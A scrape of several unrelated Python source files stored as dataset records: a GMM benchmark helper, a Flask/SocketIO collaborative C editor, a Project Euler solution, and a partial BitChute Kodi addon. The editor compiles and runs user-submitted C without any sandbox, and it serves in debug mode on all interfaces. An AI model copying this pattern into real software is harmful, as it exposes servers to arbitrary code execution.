for dst in dataset_list:\n final_dataset = merge_two_dicts(final_dataset, dst)\n return final_dataset\n\n def algo_eval(self, algo, X):\n \"\"\"\n Evaluate the algorithm with EM on a specific dataset X\n returns parameters estimators\n \"\"\"\n # chose the best lambda_param according to the lambda_param_select function \n # and fit the algorithm\n best_lambda_param = self.lambda_param_select(X, algo, self.lambda_param_list)\n alg = algo(lambda_param = best_lambda_param)\n weights_algo, _, centers_algo, covars_algo = alg.fit(X)\n #We evaluate EM with the number of clusters given by the previous algorithm\n em = GMM(n_components=len(weights_algo), covariance_type=\"full\")\n em.fit(X)\n res = {\n \"algo\": {\n \"weights\" : weights_algo,\n \"centers\" : centers_algo,\n \"covars\" : covars_algo\n },\n \"em\": {\n \"weights\" : em.weights_,\n \"centers\" : em.means_,\n \"covars\" : em.covars_,\n }\n }\n return res\n\n\n def lambda_param_select(self, X, algo, lambda_param_list):\n \"\"\"\n We split the dataset onto 2 sets, we will estimate parameters of the gaussian_mix for\n differents values of lambda_param on the first dataset and chose the lambda_param that\n maximize the log-likelihood on the 2nd set\n the algorithm needs a lambda_param in argument and must return (weights, _, centers, covars)\n returns a lambda_param for the algorithm\n \"\"\"\n X1, X2, _,_ =train_test_split(X,np.zeros(len(X)), test_size = 0.5)\n #We will store results in a dict, {log-likelihood:lambda_param}\n results = {}\n for lambd_param in lambda_param_list:\n #fit the algorithm on the first dataset X1\n alg = algo(lambda_param = lambd_param)\n weights, _, centers, covars = alg.fit(X1)\n #evaluate the log-likelihood on the second dataset X2\n results[self.gm_loglikelihood(X2, weights, centers, covars)] = lambd_param\n return results[max(results.keys())]\n\n def gm_loglikelihood(self, X, weights, centers, covars):\n k = len(weights)\n return np.array([\n np.log(np.array([weights[j] * multivariate_normal.pdf(x, centers[j], covars[j]) for j in range(k)]).sum())\n for x in X\n ]).sum()\n\n def visualize_scores(self):\n pass\n\n def merge_two_dicts(self, x, y):\n '''Given two dicts, merge them into a new dict as a shallow copy.'''\n z = x.copy()\n z.update(y)\n return z\n","sub_path":"tools/viz_bench_tools.py","file_name":"viz_bench_tools.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"551761406","text":"from __future__ import print_function\nfrom flask import Flask, render_template\nfrom flask_socketio import SocketIO, join_room\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask import session\nimport uuid\nimport subprocess\nimport json\nimport sys\nfrom threading import Lock\nfrom wordsmiths import OT_String\nfrom collections import namedtuple\n\n# Basic op for Myer's algorithm\nKeep = namedtuple('Keep', ['line'])\nInsert = namedtuple('Insert', ['line'])\nRemove = namedtuple('Remove', ['line'])\nFrontier = namedtuple('Frontier', ['x', 'history'])\n\n\ndef myers_diff(a_lines, b_lines):\n # build the frontier in the edit graph\n frontier = {1: Frontier(0, [])}\n def one(idx):\n return idx - 1\n a_max = len(a_lines)\n b_max = len(b_lines)\n for d in range(0, a_max + b_max + 1):\n for k in range(-d, d + 1, 2):\n # Search point will go down or to the right\n go_down = (k == -d or\n (k != d and frontier[k - 1].x < frontier[k + 1].x))\n if go_down:\n old_x, history = frontier[k + 1]\n x = old_x\n else:\n old_x, history = frontier[k - 1]\n x = old_x + 1\n # Get the old history\n history = history[:]\n y = x - k\n # Start at the invalid point (0, 0)\n if 1 <= y <= b_max and go_down:\n history.append(Insert(b_lines[one(y)]))\n elif 1 <= x <= a_max:\n history.append(Remove(a_lines[one(x)]))\n # Diagnoal moves\n while x < a_max and y < b_max and a_lines[one(x + 1)] == b_lines[one(y + 1)]:\n x += 1\n y += 1\n history.append(Keep(a_lines[one(x)]))\n if x >= a_max and y >= b_max:\n return history\n else:\n frontier[k] = Frontier(x, history)\n assert False, '---Error, Could not find edit script---'\n\n\napp = Flask(__name__)\nsocketio = SocketIO(app)\n\n# db object\ndb = SQLAlchemy(app)\n\n\nclass User(db.Model):\n userID = db.Column(db.String, primary_key=True)\n docName = db.Column(db.String, primary_key=True, nullable=True)\n docID = db.Column(db.String, nullable=True)\n\n\nclass Document(db.Model):\n docID = db.Column(db.String, primary_key=True)\n content = db.Column(db.String)\n\n\nclass MyQueue():\n queue = []\n head = None\n\n def push(self, op):\n self.queue.append(op)\n if self.head == None:\n self.head = 0\n\n def pop(self):\n print(self.queue)\n temp = self.queue[self.head]\n self.head += 1\n return temp\n\n\ndb.create_all()\ndb.session.commit()\n\n# global variables\nqueue = MyQueue()\nlock = Lock()\nserver_version = 0\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@socketio.on('MSG')\ndef recieve_msg(json):\n socketio.emit('MSG', json, room=json[\"docID\"])\n\n\n@socketio.on('DOC')\ndef receive_doc_update(json):\n global queue\n global lock\n global server_version\n\n doc_on_switch = str(json['option'])\n print('doc:' + str(doc_on_switch))\n\n if doc_on_switch == '0':\n # adds common version with doc in and doc out\n document = Document.query.filter_by(docID=json[\"docID\"]).first()\n document.content = json[\"doc\"]\n db.session.commit()\n socketio.emit('DOC', json, room=json[\"docID\"])\n\n elif doc_on_switch == '1':\n # OT algorithms\n # successfully debug version of OTs.\n temp = json['op']\n op_type = temp['op_type']\n # for deletion, op_char is empty\n op_char = temp['op_char']\n op_index = temp['op_index']\n version = int(json['version'])\n\n if op_type == \"Insert\":\n op = [{\"retain\": int(op_index)}, {\"insert\": op_char}]\n if op_type == \"Delete\":\n op = [{\"retain\": int(op_index) - 1}, {\"delete\": 1}]\n\n with lock:\n queue.push((op, version))\n with lock:\n (cur_op, cur_version) = queue.pop()\n # performing transformation until the op is sync with the current version on server\n while cur_version < server_version:\n\n OT = OT_String(\"verbose\")\n prev_ops = MyQueue.queue[cur_version][0]\n print('Op1:' + str(prev_ops))\n print('Op2:' + str(op))\n op = OT.transform(prev_ops, op)[1]\n\n # print('---testing myer op operation--')\n # op1 = str(prev_ops)\n # op2 = str(op)\n # diff = myers_diff(op1, op2)\n # for elem in diff:\n # if isinstance(elem, Keep):\n # print(' ' + elem.line)\n # elif isinstance(elem, Insert):\n # print('+' + elem.line)\n # else:\n # print('-' + elem.line)\n\n print('Op_tranform:' + str(op))\n # -------Revised OT algorithm--------------------\n # We only pick the op2 here,\n # op1: xab op2:aby\n # =>\n # transform: xaby\n # =>\n # Write to Doc\n retain = {'retain': op['index']}\n op.pop('index')\n op = [retain, op]\n print('cur_op:' + str(op))\n cur_version += 1\n\n index = op[0][\"retain\"]\n cur_op = op[1]\n document = Document.query.filter_by(docID=json[\"docID\"]).first()\n content = document.content\n\n if \"insert\" in cur_op:\n content = content[:index] + cur_op[\"insert\"] + content[index:]\n # print(\"content:\"+content)\n elif \"delete\" in cur_op:\n content = content[:index] + content[index + 1:]\n\n document.content = content\n db.session.commit()\n with lock:\n server_version += 1\n # print(\"version:\"+str(server_version))\n json['doc'] = document.content\n json['version'] = str(server_version)\n # print(json['version'])\n print(\"content: \" + json['doc'])\n socketio.emit('DOC', json, room=json[\"docID\"])\n\n elif doc_on_switch == '2':\n # -------Revised Myer diff algorithm--------------------\n # successfully implement for diff patch algorithms.\n document = Document.query.filter_by(docID=json[\"docID\"]).first()\n document.content = json[\"doc\"]\n # should be init state from Client A from front end\n init_state = str(document.content)\n # should be update_op from Client B from front end\n update_state = str(document.content)\n print('---Myer op operation to get the diff--')\n diff = myers_diff(init_state, update_state)\n for elem in diff:\n if isinstance(elem, Keep):\n print(' ' + elem.line)\n elif isinstance(elem, Insert):\n print('+' + elem.line)\n else:\n print('-' + elem.line)\n # should update here according to diff from the Myer's algorithm\n document.content = update_state\n # submit update\n json['doc'] = document.content\n db.session.commit()\n socketio.emit('DOC', json, room=json[\"docID\"])\n\n\n@socketio.on('create_new_doc')\ndef create_file(json):\n userID = json[\"userID\"]\n docID = str(uuid.uuid4())\n docName = json[\"docName\"]\n join_room(docID)\n\n user = User(userID=userID, docName=docName, docID=docID)\n with open(docID + \".c\", \"w\") as file:\n file.write('')\n file.close()\n db.session.add(user)\n doc = Document(docID=docID, content=\"\")\n db.session.add(doc)\n db.session.commit()\n\n socketio.emit('response_create_doc', {\"docID\": docID}, room=userID)\n # client should open the file now\n\n\n@socketio.on('request_doc_list')\ndef get_files(json):\n userID = json[\"userID\"]\n join_room(userID)\n files = User.query.filter_by(userID=userID)\n response = []\n for file in files:\n response.append({\"docName\": file.docName, \"docID\": file.docID})\n socketio.emit('response_doc_list', response, room=userID)\n\n\n@socketio.on('request_doc_content')\ndef read_file(json, methods=['GET', 'POST']):\n global server_version\n docID = json[\"docID\"]\n userID = json[\"userID\"]\n join_room(docID)\n response = Document.query.filter_by(docID=docID).first().content\n socketio.emit('response_doc_content', {\"docID\": docID, \"content\": response, \"version\": server_version}, room=userID)\n socketio.emit('join', {'msg': userID + ' has entered the room.'}, room=docID)\n\n\n@socketio.on('share')\ndef join_file(json):\n userID = json[\"userID\"]\n docName = json[\"docName\"]\n docID = json[\"docID\"]\n\n # check if the user is already collaborating this file\n if User.query.filter_by(userID=userID, docName=docName, docID=docID).all():\n return\n\n user = User(userID=userID, docName=docName, docID=docID)\n db.session.add(user)\n db.session.commit()\n\n\n@socketio.on('save_doc')\ndef save_file(json):\n docID = json[\"docID\"]\n print(\"save \" + docID)\n with open(docID + \".c\", \"w\") as file:\n file.write(json[\"doc\"])\n file.close()\n\n\n@socketio.on('run_doc')\ndef run_file(json):\n docID = json[\"docID\"]\n try:\n output1 = subprocess.check_output([\"gcc\", \"-o\", docID, docID + \".c\"], stderr=subprocess.STDOUT, timeout=10)\n socketio.emit('run', {'console': output1}, room=json[\"userID\"])\n except subprocess.CalledProcessError as e:\n output1 = e.output\n socketio.emit('run', {'console': output1}, room=json[\"userID\"])\n return\n\n try:\n output2 = subprocess.check_output([docID], stderr=subprocess.STDOUT, timeout=10)\n socketio.emit('run', {'console': output2}, room=json[\"userID\"])\n except subprocess.CalledProcessError as e:\n output2 = e.output\n socketio.emit('run', {'console': output2}, room=json[\"userID\"])\n return\n\n\nif __name__ == '__main__':\n socketio.run(app, debug=True, host='0.0.0.0')\n","sub_path":"collaborative_text_editor_python/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"475303593","text":"#\nfrom libs.db.dbconn import getconn\n\ndef update_data():\n conn=getconn()\n cur=conn.cursor()\n sql=\"update member set age=35 where name='이몽룡'\"\n cur.execute(sql)\n\n conn.commit()\n conn.close()\n\nif __name__=='__main__':\n update_data()","sub_path":"database/update_data.py","file_name":"update_data.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"533851731","text":"'''\n2520 is the smallest number that can be divided by each of the numbers from\n1 to 10 without any remainder.\n\nWhat is the smallest positive number that is evenly divisible by all of the\nnumbers from 1 to 20?\n'''\n\n# returns number if prime, null if not\ndef isprime(n):\n if n == 2:\n return n\n else:\n k = 2\n i = 0\n while k*k < n+1:\n if (n % k == 0):\n i = 1\n break\n else:\n k+=1\n if i == 0:\n return n \n else:\n return None\n\n# generates list of primes up to and including n\ndef primelist(n):\n list = []\n for i in range(2,n+1):\n if isprime(i) == i:\n list.append(i)\n i+=1\n else:\n i+=1\n return list\n \n# find highest power below n\ndef hpp(p,n):\n i=1\n while p ** i < n+1:\n i+=1\n return i-1\n\n# calculates the lcm of the numbers 1 through n\ndef lcm(n):\n lcm = 1\n for p in primelist(n):\n lcm*=p ** hpp(p,n)\n return lcm\n\n\n# find highest power dividing n\ndef hpf(p,n):\n i=1\n while i < hpp(p,n)+1:\n if n % p ** i == 0: \n i+=1\n else:\n break\n return i-1\n \n# gives powers in prime decomposition for primes up to m:\ndef pdecomp(m):\n decomp=[]\n g = primelist(m)\n for p in g:\n if hpf(p,m) > 0:\n decomp.append([p,hpf(p,m)])\n return decomp\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n","sub_path":"old_solutions/projecteuler5.py","file_name":"projecteuler5.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"554599289","text":"\r\nimport networkx as nx\r\nimport numpy as np\r\nfrom struc import *\r\n\r\nurl = '../active/models/tools/edgelist_idx.txt'\r\n\r\nwith open(url, 'r') as f:\r\n edgelist = [[int(x) for x in y.split()] for y in f.readlines()]\r\n\r\nedges_no_weight = [x[:2] for x in edgelist]\r\n\r\nG = nx.Graph()\r\nG.add_edges_from(edges_no_weight)\r\n\r\nprint ('number of edges: %d' % (len(G.nodes())))\r\n\r\nconstruct_similarity_graph(G, 5, True)\r\n","sub_path":"archive_model/load_graph.py","file_name":"load_graph.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"475810293","text":"# -*- coding: utf-8 -*-\r\n# Module: default\r\n# Author: Jason Francis\r\n# Created on: 2017-10-15\r\n# Based on plugin.video.example(https://github.com/romanvm/plugin.video.example)\r\n# License: MIT https://opensource.org/licenses/MIT\r\n\r\nimport sys\r\nfrom urlparse import parse_qsl\r\nimport xbmcgui\r\nimport xbmcplugin\r\nimport xbmcaddon\r\nimport re\r\nimport requests\r\nimport json\r\nimport time\r\nfrom bs4 import BeautifulSoup\r\nimport subprocess\r\n\r\nimport xbmc\r\n\r\n# Get the plugin url in plugin:// notation.\r\n_url = sys.argv[0]\r\n# Get the plugin handle as an integer number.\r\n_handle = int(sys.argv[1])\r\nbaseUrl = \"https://www.bitchute.com\"\r\nplaylistPageLength = 25\r\naddon = xbmcaddon.Addon()\r\n\r\nclass VideoLink:\r\n def __init__(self):\r\n self.title = None\r\n self.pageUrl = None\r\n self.id = None\r\n self.thumbnail = None\r\n self.channelName = None\r\n self.url = None\r\n\r\n @staticmethod\r\n def getUrl(videoId):\r\n req = fetchLoggedIn(baseUrl + \"/video/\" + videoId)\r\n soup = BeautifulSoup(req.text, 'html.parser')\r\n for link in soup.findAll(\"a\", href=re.compile(\"^magnet\")):\r\n magnetUrl = link.get(\"href\")\r\n if magnetUrl.startswith(\"magnet:?\"):\r\n return magnetUrl\r\n raise ValueError(\"Could not find the magnet link for this video.\")\r\n def setUrl(self):\r\n self.url = self.getUrl(videoId)\r\n @staticmethod\r\n def getVideoFromChannelVideosContainer(containerSoup):\r\n video = VideoLink()\r\n\r\n #find the video title and URL\r\n titleDiv = containerSoup.findAll('div', \"channel-videos-title\")[0]\r\n linkSoup = titleDiv.findAll('a')[0]\r\n\r\n video.title = linkSoup.string\r\n video.pageUrl = linkSoup.get(\"href\")\r\n video.pageUrl = video.pageUrl.rstrip('/')\r\n video.id = video.pageUrl.split(\"/\")[-1]\r\n\r\n #before we can find thumnails let's strip out play button images.\r\n for playButton in containerSoup.findAll('img', \"play-overlay-icon\"):\r\n playButton.extract()\r\n \r\n thumbnailMatches = containerSoup.findAll('img', \"img-responsive\")\r\n if thumbnailMatches:\r\n video.thumbnail = thumbnailMatches[0].get(\"data-src\")\r\n return video\r\n @staticmethod\r\n def getVideoFromVideoCard(videoSoup):\r\n video = VideoLink()\r\n linkSoup = videoSoup.findAll('a')[0]\r\n\r\n video.pageUrl = linkSoup.get(\"href\")\r\n video.pageUrl = video.pageUrl.rstrip('/')\r\n video.id = video.pageUrl.split(\"/\")[-1]\r\n\r\n titleSoup = videoSoup.findAll('div', 'video-card-text')[0].findAll('p')[0].findAll('a')[0]\r\n video.title = titleSoup.text\r\n\r\n thumbnailMatches = videoSoup.findAll('img', \"img-responsive\")\r\n if thumbnailMatches:\r\n video.thumbnail = thumbnailMatches[0].get(\"data-src\")\r\n #try to find the name of the channel from video-card-text portion of the card.\r\n try:\r\n channelNameSoup = videoSoup.findAll('div', 'video-card-text')[0].findAll('p')[1].findAll('a')[0]\r\n video.channelName = channelNameSoup.get(\"href\").split(\"/\")[-1]\r\n except:\r\n pass\r\n return video\r\n @staticmethod\r\n def getVideoFromPlaylist(container):\r\n video = VideoLink()\r\n titleSoup = container.findAll('div', 'text-container')[0].findAll('div', 'title')[0].findAll('a')[0]\r\n video.title = titleSoup.text\r\n video.pageUrl = titleSoup.get(\"href\").rstrip('/')\r\n video.id = video.pageUrl.split(\"/\")[-1]\r\n try:\r\n channelNameSoup = container.findAll('div', 'text-container')[0].findAll('div', 'channel')[0].findAll('a')[0]\r\n video.channelName = channelNameSoup.get(\"href\").rstrip('/').split(\"/\")[-1]\r\n except:\r\n pass\r\n\r\n for thumb in container.findAll(\"img\", {\"class\": \"img-responsive\"}):\r\n if(thumb.has_attr(\"data-src\")):\r\n video.thumbnail = thumb.get(\"data-src\")\r\n break\r\n return video\r\n @staticmethod\r\n def getVideosByPlaylist(playlistId, offset = 0):\r\n videos = []\r\n req = postLoggedIn(baseUrl + \"/playlist/\" + playlistId + \"/extend/\", baseUrl + \"/playlist/\" + playlistId, {\"offset\": offset})\r\n data = json.loads(req.text)\r\n soup = BeautifulSoup(data[\"html\"], 'html.parser')\r\n for container in soup.findAll(\"div\", {\"class\": \"playlist-video\"}):\r\n videos.append(VideoLink.getVideoFromPlaylist(container))\r\n return videos\r\n\r\nclass Channel:\r\n def __init__(self, channelName, pageNumber = None, thumbnail = None):\r\n self.channelName = channelName\r\n self.videos = []\r\n self.thumbnail = thumbnail\r\n self.page = 1\r\n if pageNumber is not None:\r\n self.page = pageNumber\r\n self.hasPrevPage = False\r\n self.hasNextPage = False\r\n \r\n def setThumbnail(self):\r\n thumbnailReq = fetchLoggedIn(baseUrl + \"/channel/\" + self.channelName)\r\n thumbnailSoup = BeautifulSoup(thumbnailReq.text, 'html.parser')\r\n thumbnailImages = thumbnailSoup.findAll(\"img\", id=\"fileupload-medium-icon-2\")\r\n if thumbnailImages and thumbnailImages[0].has_attr(\"data-src\"):\r\n self.thumbnail = thumbnailImages[0].get(\"data-src\")\r\n\r\n def setPage(self, pageNumber):\r\n self.videos = []\r\n self.page = pageNumber\r\n self.hasPrevPage = False\r\n self.hasNextPage = False\r\n \r\n r = postLoggedIn(baseUrl + \"/channel/\" + self.channelName + \"/extend/\", baseUrl + \"/channel/\" + self.channelName + \"/\",{\"index\": (self.page - 1)})\r\n data = json.loads(r.text)\r\n soup = BeautifulSoup(data['html'], 'html.parser')\r\n\r\n for videoContainer in soup.findAll('div', \"channel-videos-container\"):\r\n self.videos.append(VideoLink.getVideoFromChannelVideosContainer(videoContainer))\r\n\r\n if len(self.videos) >= 10:\r\n self.hasNextPage = True\r\n\r\nclass Playlist:\r\n def __init__(self):\r\n self.name = None\r\n self.id = None\r\n self.thumbnail = None\r\n @staticmethod\r\n def getPlaylists():\r\n playlists = []\r\n req = fetchLoggedIn(baseUrl + \"/playlists/\")\r\n soup = BeautifulSoup(req.text, 'html.parser')\r\n for container in soup.findAll(\"div\", {\"class\": \"playlist-card\"}):\r\n playlist = Playlist()\r\n linkSoup = container.findAll('a')[0]\r\n nameSoup = linkSoup.findAll('span', 'title')[0]\r\n thumbnailSoup = linkSoup.findAll('img', \"img-responsive\")[0]\r\n playlist.name = nameSoup.text\r\n playlist.id = linkSoup.get(\"href\").rstrip('/').split(\"/\")[-1]\r\n playlist.thumbnail = thumbnailSoup.get(\"data-src\")\r\n playlists.append(playlist)\r\n return playlists\r\n\r\nclass MyPlayer(xbmc.Player):\r\n def __init__(self):\r\n MyPlayer.is_active = True\r\n print(\"#MyPlayer#\")\r\n \r\n def onPlayBackPaused( self ):\r\n xbmc.log(\"#Im paused#\")\r\n \r\n def onPlayBackResumed( self ):\r\n xbmc.log(\"#Im Resumed #\")\r\n \r\n def onPlayBackStarted( self ):\r\n print(\"#Playback Started#\")\r\n try:\r\n print(\"#Im playing :: \" + self.getPlayingFile())\r\n except:\r\n print(\"#I failed get what Im playing#\")\r\n \r\n def onPlayBackEnded( self ):\r\n print(\"#Playback Ended#\")\r\n self.is_active = False\r\n \r\n def onPlayBackStopped( self ):\r\n print(\"## Playback Stopped ##\")\r\n self.is_active = False\r\n \r\n def sleep(self, s):\r\n xbmc.sleep(s) \r\ndef login():\r\n #BitChute uses a token to prevent csrf attacks, get the token to make our request.\r\n r = requests.get(baseUrl)\r\n csrfJar = r.cookies\r\n soup = BeautifulSoup(r.text, 'html.parser')\r\n csrftoken = soup.findAll(\"input\", {\"name\":\"csrfmiddlewaretoken\"})[0].get(\"value\")\r\n\r\n #Fetch the user info from settings\r\n username = xbmcplugin.getSetting(_handle, 'username')\r\n password = xbmcplugin.getSetting(_handle, 'password')\r\n post_data = {'csrfmiddlewaretoken': csrftoken, 'username': username, 'password': password}\r\n headers = {'Referer': baseUrl + \"/\", 'Origin': baseUrl}\r\n response = requests.post(baseUrl + \"/accounts/login/\", data=post_data, headers=headers, cookies=csrfJar)\r\n authCookies = []\r\n for cookie in response.cookies:\r\n authCookies.append({ 'name': cookie.name, 'value': cookie.value, 'domain': cookie.domain, 'path': cookie.path, 'expires': cookie.expires })\r\n \r\n #stash our cookies in our JSON cookie jar\r\n cookiesJson = json.dumps(authCookies)\r\n addon.setSetting(id='cookies', value=cookiesJson)\r\n\r\n return(authCookies)\r\n \r\ndef getSessionCookie():\r\n cookiesString = xbmcplugin.getSetting(_handle, 'cookies')\r\n if cookiesString:\r\n cookies = json.loads(cookiesString)\r\n else:\r\n cookies = login()\r\n \r\n #If our cookies have expired we'll need to get new ones.\r\n now = int(time.time())\r\n for cookie in cookies:\r\n if now >= cookie['expires']:\r\n cookies = login()\r\n break\r\n \r\n jar = requests.cookies.RequestsCookieJar()\r\n for cookie in cookies:\r\n jar.set(cookie['name'], cookie['value'], domain=cookie['domain'], path=cookie['path'], expires=cookie['expires'])\r\n \r\n return jar\r\n\r\ndef fetchLoggedIn(url):\r\n req = requests.get(url, cookies=sessionCookies)\r\n soup = BeautifulSoup(req.text, 'html.parser')\r\n loginUser = soup.findAll(\"ul\", {\"class\":\"user-menu-dropdown\"})\r\n if loginUser:\r\n profileLink = loginUser[0].findAll(\"a\",{\"class\":\"dropdown-item\", \"href\":\"/profile/\"})\r\n if profileLink:\r\n return req\r\n #Our cookies have gone stale, clear them out.\r\n xbmcplugin.setSetting(_handle, id='cookies', value='')\r\n raise ValueError(\"Not currently logged in.\")\r\n\r\ndef postLoggedIn(url, referer, params):\r\n #BitChute uses a token to prevent csrf attacks, get the token to make our request.\r\n csrftoken = None\r\n for cookie in sessionCookies:\r\n if cookie.name == 'csrftoken':\r\n csrftoken = cookie.value\r\n break\r\n\r\n post_data = {'csrfmiddlewaretoken': csrftoken}\r\n for param in params:\r\n post_data[param] = params[param]\r\n\r\n headers = {'Referer': referer, 'Host': 'www.bitchute.com', 'Origin': baseUrl, 'Pragma': 'no-cache', 'Cache-Control': 'no-cache'}\r\n response = requests.post(url, data=post_data, headers=headers, cookies=sessionCookies)\r\n return response\r\n\r\ndef getSubscriptions():\r\n subscriptions = []\r\n req = fetchLoggedIn(baseUrl + \"/subscriptions\")\r\n soup = BeautifulSoup(req.text, 'html.parser')\r\n for container in soup.findAll(\"div\", {\"class\":\"subscription-container\"}):\r\n thumbnail = None\r\n for thumb in container.findAll(\"img\", {\"class\":\"subscription-image\"}):\r\n if thumb.has_attr(\"data-src\"):\r\n thumbnail = thumb.get(\"data-src\")\r\n thumbnail = thumbnail.replace(\"_small.\", \"_large.\")\r\n break\r\n for link in container.findAll(\"a\", {\"rel\":\"author\"}):\r\n href = link.get(\"href\").rstrip('/')\r\n name = href.split(\"/\")[-1]\r\n subscriptions.append(Channel(name, 1, thumbnail))\r\n return(subscriptions)\r\n\r\nsessionCookies = getSessionCookie()\r\n\r\n\r\n\r\ndef defaultMenu():\r\n listing = []\r\n subsActivity = xbmcgui.ListItem(label=\"Subscription Activity\")\r\n subsActivity.setInfo('video', {'title': \"Subscription Activity\", 'genre': \"Subscription Activity\"})\r\n subsActivityUrl = '{0}?action=subscriptionActivity'.format(_url)\r\n listing.append((subsActivityUrl, subsActivity, True))\r\n\r\n watchLater = xbmcgui.ListItem(label=\"Watch Later\")\r\n watchLater.setInfo('video', {'title': \"Watch Later\", 'genre': \"Watch Later\"})\r\n watchLaterUrl = '{0}?action=playlist&playlistId=watch-later'.format(_url)\r\n listing.append((watchLaterUrl, watchLater, True))\r\n\r\n playlists = xbmcgui.ListItem(label=\"Playlists\")\r\n playlists.setInfo('video', {'title': \"Playlists\", 'genre': \"Playlists\"})\r\n playlistsUrl = '{0}?action=playlists'.format(_url)\r\n listing.append((playlistsUrl, playlists, True))\r\n\r\n subscriptions = xbmcgui.ListItem(label=\"Subscriptions\")\r\n subscriptions.setInfo('video', {'title': \"Subscriptions\", 'genre': \"Subscriptions\"})\r\n subscriptionsUrl = '{0}?action=subscriptions'.format(_url)\r\n listing.append((subscriptionsUrl, subscriptions, True))\r\n \r\n #add our listing to kodi\r\n xbmcplugin.addDirectoryItems(_handle, listing, len(listing))\r\n xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_UNSORTED)\r\n xbmcplugin.endOfDirectory(_handle)\r\n\r\ndef listPlaylists():\r\n listing = []\r\n playlists = Playlist.getPlaylists()\r\n\r\n for playlist in playlists:\r\n list_item = xbmcgui.ListItem(label=playlist.name, thumbnailImage=playlist.thumbnail)\r\n list_item.setProperty('fanart_image', playlist.thumbnail)\r\n list_item.setInfo('video', {'title': playlist.name, 'genre': playlist.name})\r\n url = '{0}?action=playlist&playlistId={1}'.format(_url, playlist.id)\r\n listing.append((url, list_item, True))\r\n #add our listing to kodi\r\n xbmcplugin.addDirectoryItems(_handle, listing, len(listing))\r\n xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_UNSORTED)\r\n xbmcplugin.endOfDirectory(_handle)\r\n\r\ndef getCategories():\r\n \"\"\"\r\n Get the list of video categories.\r\n Here you can insert some parsing code that retrieves\r\n the list of video categories (e.g. 'Movies', 'TV-shows', 'Documentaries' etc.)\r\n from some site or server.\r\n :return: list\r\n \"\"\"\r\n categories = getSubscriptions()\r\n return categories\r\n\r\ndef listCategories():\r\n \"\"\"\r\n Create the list of video categories in the Kodi interface.\r\n :return: None\r\n \"\"\"\r\n # Create a list for our items.\r\n listing = []\r\n\r\n # Get video categories\r\n categories = getCategories()\r\n \r\n # Iterate through categories\r\n for category in categories:\r\n # Create a list item with a text label and a thumbnail image.\r\n list_item = xbmcgui.ListItem(label=category.channelName, thumbnailImage=category.thumbnail)\r\n # Set a fanart image for the list item.\r\n # Here we use the same image as the thumbnail for simplicity's sake.\r\n list_item.setProperty('fanart_image', category.thumbnail)\r\n # Set additional info for the list item.\r\n # Here we use a category name for both properties for for simplicity's sake.\r\n # setInfo allows to set various information for an item.\r\n # For available properties see the following link:\r\n # http://mirrors.xbmc.org/docs/python-docs/15.x-isengard/xbmcgui.html#ListItem-setInfo\r\n list_item.setInfo('video', {'title': category.channelName, 'genre': category.channelName})\r\n # Create a URL for the plugin recursive callback.\r\n # Example: plugin://plugin.video.example/?action=listing&category=Animals\r\n url = '{0}?action=listing&category={1}'.format(_url, category.channelName)\r\n # is_folder = True means that this item opens a sub-list of lower level items.\r\n is_folder = True\r\n # Add our item to the listing as a 3-element tuple.\r\n listing.append((url, list_item, is_folder))\r\n \r\n # Let python do the heay lifting of sorting our listing\r\n listing = sorted(listing, key=lambda item: item[1].getLabel())\r\n\r\n # Add our listing to Kodi.\r\n # Large lists and/or slower systems benefit from adding all items at once via addDirectoryItems\r\n # instead of adding one by ove via addDirectoryItem.\r\n xbmcplugin.addDirectoryItems(_handle, listing, len(listing))\r\n # Add a sort method for the virtual folder items (alphabetically, ignore articles)\r\n xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_UNSORTED)\r\n # Finish creating a virtual folder.\r\n xbmcplugin.endOfDirectory(_handle)\r\n\r\ndef listVideosPlaylist(playlistId, pageNumber = None):\r\n if pageNumber is None:\r\n pageNumber = 1\r\n\r\n listing = []\r\n videos = VideoLink.getVideosByPlaylist(playlistId, pageNumber-1)\r\n for video in videos:\r\n list_item = xbmcgui.ListItem(label=video.title, thumbnailImage=video.thumbnail)\r\n # Set a fanart image for the list item.\r\n # Here we use the same image as the thumbnail for simplicity's sake.\r\n list_item.setProperty('fanart_image', video.thumbnail)\r\n # Set additional info for the list item.\r\n list_item.setInfo('video', {'title': video.title, 'genre': video.title})\r\n list_item.setArt({'landscape': video.thumbnail})\r\n list_item.setProperty('IsPlayable', 'true')\r\n url = '{0}?action=play&videoId={1}'.format(_url, video.id)\r\n listing.append((url, list_item, False))\r\n # If the category has a next page add it to our listing.\r\n if len(videos) >= playlistPageLength:\r\n list_item = xbmcgui.ListItem(label=\"Next Page...\")\r\n url = '{0}?action=playlist&playlistId={1}&page={2}'.format(_url, playlistId, pageNumber * playlistPageLength)\r\n listing.append((url, list_item, True))\r\n # Add our listing to Kodi.\r\n xbmcplugin.addDirectoryItems(_handle, listing, len(listing))\r\n xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_UNSORTED)\r\n xbmcplugin.endOfDirectory(_handle)\r\n\r\ndef listVideos(categoryName, pageNumber = None):\r\n \"\"\"\r\n Create the list of playable videos in the Kodi interface.\r\n :param category: str\r\n :return: None\r\n \"\"\"\r\n if pageNumber is None:\r\n pageNumber = 1\r\n # Get the list of videos in the category.\r\n category = Channel(categoryName, pageNumber)\r\n category.setPage(pageNumber)\r\n category.setThumbnail()\r\n videos = category.videos\r\n # Create a list for our items.\r\n listing = []\r\n # Iterate through videos.\r\n for video in videos:\r\n # Create a list item with a text label and a thumbnail image.\r\n list_item = xbmcgui.ListItem(label=video.title, thumbnailImage=video.thumbnail)\r\n # Set a fanart image for the list item.\r\n # Here we use the same image as the thumbnail for simplicity's 